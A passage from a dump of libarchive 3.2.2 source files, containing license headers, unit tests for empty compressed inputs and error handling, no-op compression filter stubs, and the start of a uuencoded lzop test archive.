CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | 27 | DEFINE_TEST(test_empty_gz) 28 | { 29 | const char *reffile = "test_empty.gz"; 30 | int f; 31 | 32 | extract_reference_file(reffile); 33 | f = systemf("%s %s >test.out 2>test.err", testprog, reffile); 34 | if (f == 0 || canGzip()) { 35 | assertEqualInt(0, f); 36 | assertEmptyFile("test.out"); 37 | assertEmptyFile("test.err"); 38 | } else { 39 | skipping("It seems gzip is not supported on this platform"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_empty_lz4.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Sebastian Freundt 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | 27 | DEFINE_TEST(test_empty_lz4) 28 | { 29 | const char *reffile = "test_empty.lz4"; 30 | int f; 31 | 32 | extract_reference_file(reffile); 33 | f = systemf("%s %s >test.out 2>test.err", testprog, reffile); 34 | if (f == 0 || canLz4()) { 35 | assertEqualInt(0, f); 36 | assertEmptyFile("test.out"); 37 | assertEmptyFile("test.err"); 38 | } else { 39 | skipping("It seems lz4 is not supported on this platform"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_file_nonexistent.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2009 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | __FBSDID("$FreeBSD: head/lib/libarchive/test/test_read_file_nonexistent.c 189473 2009-03-07 02:09:21Z kientzle $"); 27 | 28 | DEFINE_TEST(test_read_file_nonexistent) 29 | { 30 | struct archive* a = archive_read_new(); 31 | assertEqualInt(ARCHIVE_OK, archive_read_support_format_all(a)); 32 | assertEqualInt(ARCHIVE_FATAL, 33 | archive_read_open_filename(a, "notexistent.tar", 512)); 34 | archive_read_free(a); 35 | } 36 | 37 | 38 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/archive_write_add_filter_none.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2010 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | 26 | #include "archive_platform.h" 27 | __FBSDID("$FreeBSD: head/lib/libarchive/archive_write_set_compression_none.c 201080 2009-12-28 02:03:54Z kientzle $"); 28 | 29 | #include "archive.h" 30 | 31 | int 32 | archive_write_set_compression_none(struct archive *a) 33 | { 34 | (void)a; /* UNUSED */ 35 | return (ARCHIVE_OK); 36 | } 37 | 38 | int 39 | archive_write_add_filter_none(struct archive *a) 40 | { 41 | (void)a; /* UNUSED */ 42 | return (ARCHIVE_OK); 43 | } 44 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_archive_clear_error.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2010 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | 26 | #include "test.h" 27 | __FBSDID("$FreeBSD$"); 28 | 29 | DEFINE_TEST(test_archive_clear_error) 30 | { 31 | struct archive* a = archive_read_new(); 32 | 33 | archive_set_error(a, 12, "abcdefgh"); 34 | assertEqualInt(12, archive_errno(a)); 35 | assertEqualString("abcdefgh", archive_error_string(a)); 36 | 37 | archive_clear_error(a); 38 | assertEqualInt(0, archive_errno(a)); 39 | assertEqualString(NULL, archive_error_string(a)); 40 | 41 | archive_read_free(a); 42 | } 43 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lzop_3.tar.lzo.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_compat_lzop_3.tar.lzo 2 | MB4Q:3P`-"AH*$#`@8`E``04#```!``"!M%"`FEX`````%G1E2`H82?@"@-F'4"+"!T;PJL!`-W:71H(%AH 22 | M;6!T!$UA8R!/4RQT%@$@8V%N)X`&+',,86YDO#.4(0(@+4<@(H0(`2(@?B\H 23 | M;`D`#2UD;W=N;&]A9"UD:7(O"E1H92!R97-U;'0@=VEL;"!P=01P<')O<')I 24 | M8"A\(I0F`BP@?!\#('1O;VPND!`!9&5F8780;VXP.Q$@:7-L 26 | M*<0K`V4@36%K98P.=!)U(@IW(F%L